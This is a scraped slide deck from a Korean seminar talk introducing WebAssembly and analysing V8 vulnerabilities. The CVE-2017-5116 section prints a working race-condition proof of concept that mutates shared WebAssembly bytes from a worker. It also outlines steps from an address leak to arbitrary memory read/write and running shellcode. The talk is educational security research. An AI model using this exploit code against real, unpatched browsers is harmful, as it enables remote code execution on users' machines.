Diese Präsentation wurde erfolgreich gemeldet.
Wir verwenden Ihre LinkedIn Profilangaben und Informationen zu Ihren Aktivitäten, um Anzeigen zu personalisieren und Ihnen relevantere Inhalte anzuzeigen. Sie können Ihre Anzeigeneinstellungen jederzeit ändern.

WebAssembly 개요와 취약점 분석

53 Aufrufe

Veröffentlicht am

제 4회 시원포럼 세미나에서 WebAssembly 개요와 취약점 분석에 관하여 발표하였습니다.

개요
- What is WebAssembly?
- Hello World
- WebAssembly CTF Chall
- CVE-2017-5116
- CVE-2018-6092

Veröffentlicht in: Technologie
  • Als Erste(r) kommentieren

  • Gehören Sie zu den Ersten, denen das gefällt!

WebAssembly 개요와 취약점 분석

  1. 1. 개요와 취약점 분석
  2. 2. 양희성 (뎁온누리, 양아치성 등등) • 파릇파릇한 중학생 • 자바스크립트 좋아함 • 해킹 뉴비
  3. 3. • What is WebAssembly? • Hello World! • WebAssembly CTF Chall • CVE-2017-5116 • CVE-2018-6092
  4. 4. What is WebAssembly?
  5. 5. C/C++/Rust Into your Browser With nearly-native Perf.
  6. 6. ASM.JS
  7. 7. Source: StackOverflow 2019 Survey @==(^o^)@ @(^o^)==@
  8. 8. 1. 모듈 컴파일된 WebAssembly 바이너리 ES6의 모듈처럼 export와 import가 있음
  9. 9. 2. 메모리 WebAssembly의 저수준의 명령어가 접근할 수 있는 크기가 변하는 ArrayBuffer
  10. 10. 3. 테이블 메모리에 저장될 수 없는 레퍼런스를 저장하는 크 기가 변하는 TypedArray
  11. 11. 4. 인스턴스 모듈과 그 속성(메모리, 테이블 등)의 쌍
  12. 12. Hello WebAssembly!
  13. 13. (module (table 0 anyfunc) (memory $0 1) (export "memory" (memory $0)) (export "addTwo" (func $addTwo)) (func $addTwo (; 0 ;) (param $0 i32) (param $1 i32) (result i32) (i32.add (get_local $1) (get_local $0) ) ) ) wat2wasm test.wat
  14. 14. > 30 fetch('test.wasm’) .then(response => response.arrayBuffer()) .then(bytes => WebAssembly.instantiate(bytes)) .then(result => { console.log(result.instance.exports.addTwo(10, 20)); });
  15. 15. WebAssembly CTF Chall
  16. 16. Special Combination: 1947482
  17. 17. CVE-2017-5116
  18. 18. SharedArrayBuffer - V8 6.0부터 등장 - TypedArray의 자식 클래스 - JavaScript Worker간의 메모리 공유 가능
  19. 19. WASM Liftoff TurboFan Run!
  20. 20. WASM Liftoff TurboFan Run!
  21. 21. // new WebAssembly.Module(bytes) -> WebAssembly.Module void WebAssemblyModule(const v8::FunctionCallbackInfo<v8::Value>& args) { ... i::wasm::ScheduledErrorThrower thrower(i_isolate, "WebAssembly.Module()"); auto bytes = (args, &thrower); if (thrower.error()) { return; } ... } Source Auditing GetFirstArgumentAsBytes
  22. 22. i::wasm::ModuleWireBytes (...) { const uint8_t* start = nullptr; size_t length = 0; v8::Local<v8::Value> source = args[0]; if (source->IsArrayBuffer()) { // A raw array buffer was passed. ... } else if (source->IsTypedArray()) { // <--- SharedBufferArray 가능 // A TypedArray was passed. Local<TypedArray> array = Local<TypedArray>::Cast(source); Local<ArrayBuffer> buffer = array->Buffer(); ArrayBuffer::Contents contents = buffer->GetContents(); start = reinterpret_cast<const uint8_t*>(content s.Data()) + array->ByteOffset(); length = array->ByteLength(); } ... return i::wasm::ModuleWireBytes(start, start + length); } GetFirstArgumentAsBytes
  23. 23. Proof of Concept var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); var sta = ; worker.postMessage(sta.buffer); setTimeout(function(){ while (1) { try { sta[51] = 0; var myModule = new WebAssembly.Module(sta); var myInstance = new WebAssembly.Instance(myModule); } catch(e) {} } }, 1000); getSharedTypedArray()
  24. 24. var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); var sta = ; worker.postMessage(sta.buffer); setTimeout(function(){ while (1) { try { sta[51] = 0; var myModule = new WebAssembly.Module(sta); var myInstance = new WebAssembly.Instance(myModule); } catch(e) {} } }, 1000); getSharedTypedArray()
  25. 25. var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); var sta = ; worker.postMessage(sta.buffer); setTimeout(function(){ while (1) { try { sta[51] = 0; var myModule = new WebAssembly.Module(sta); var myInstance = new WebAssembly.Instance(myModule); } catch(e) {} } }, 1000); getSharedTypedArray()
  26. 26. function { var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b]; var sb = new SharedArrayBuffer(wasmarr.length); var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i] = wasmarr[i]; return sta; } getSharedTypedArray()
  27. 27. function { var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b]; var sb = new SharedArrayBuffer(wasmarr.length); var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i] = wasmarr[i]; return sta; } getSharedTypedArray() (module (type $type0 (func (result i32))) (export "getAnswerPlus1" (func $func1)) (func $func0 (result i32) i32.const 42 ) (func $func1 (result i32) call $func0 i32.const 1 i32.add ) )
  28. 28. var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); var sta = ; worker.postMessage(sta.buffer); setTimeout(function(){ while (1) { try { sta[51] = 0; var myModule = new WebAssembly.Module(sta); var myInstance = new WebAssembly.Instance(myModule); } catch(e) {} } }, 1000); getSharedTypedArray()
  29. 29. <script id="worker1"> worker:{ self.onmessage = function(arg) { var ta = new Uint8Array(arg.data); var i = 0; while (1) { if(i == 0){ i = 1; ta[51] = 0; } else { i = 0; ta[51] = 128; } } } } </script>
  30. 30. <script id="worker1"> worker:{ self.onmessage = function(arg) { var ta = new Uint8Array(arg.data); var i = 0; while (1) { if(i == 0){ i = 1; ta[51] = 0; } else { i = 0; ta[51] = 128; } } } } </script> (module (type $type0 (func (result i32))) (export "getAnswerPlus1" (func $func1)) (func $func0 (result i32) i32.const 42 ) (func $func1 (result i32) call $func0 i32.const 1 i32.add ) )
  31. 31. <script id="worker1"> worker:{ self.onmessage = function(arg) { var ta = new Uint8Array(arg.data); var i = 0; while (1) { if(i == 0){ i = 1; ta[51] = 0; } else { i = 0; ta[51] = 128; } } } } </script> (module (type $type0 (func (result i32))) (export "getAnswerPlus1" (func $func1)) (func $func0 (result i32) i32.const 42 ) (func $func1 (result i32) call 128 i32.const 1 i32.add ) )
  32. 32. 1. ArrayBuffer를 만든뒤 주소 Leak 2. Leak한 데이터를 가지고 ArrayBuffer를 Float64Array로 위장 3. 가짜 ArrayBuffer를 ToNumber로 넘겨 객체 참조를 얻는 다. 4. 가짜 ArrayBuffer의 BackingStore, ByteLength를 변경 해 임의 메모리 읽기/쓰기 가능하게 한다. 5. JIT 코드를 쉘코드로 덮어 실행
  33. 33. auto enabled_features = i::wasm::WasmFeaturesFromIsolate(i_isolate); bool validated = false; if (is_shared) { // Make a copy of the wire bytes to avoid concurrent modification. std::unique_ptr<uint8_t[]> copy(new uint8_t[bytes.length()]); memcpy(copy.get(), bytes.start(), bytes.length()); i::wasm::ModuleWireBytes bytes_copy(copy.get(), copy.get() + bytes.length()); validated = i_isolate->wasm_engine()->SyncValidate( i_isolate, enabled_features, bytes_copy); } else { // The wire bytes are not shared, OK to use them directly. validated = i_isolate->wasm_engine()->SyncValidate(i_isolate, enabled_features, bytes); } return_value.Set(Boolean::New(isolate, validated));
  34. 34. CVE-2018-6092
  35. 35. • V8 취약점 • WebAssembly의 지역인수(locals)를 파싱할때 Integer Overflow 발생
  36. 36. Thank you! References: WebAssembly, CVE-2017-5116 (2) DEF CON 26 - Guang Gong - Pwning theToughest Target, the Largest Bug Bounty in the History of ASR Android Security Ecosystem Investments Pay Dividends for Pixel Project Zero: The Problems and Promise of WebAssembly

×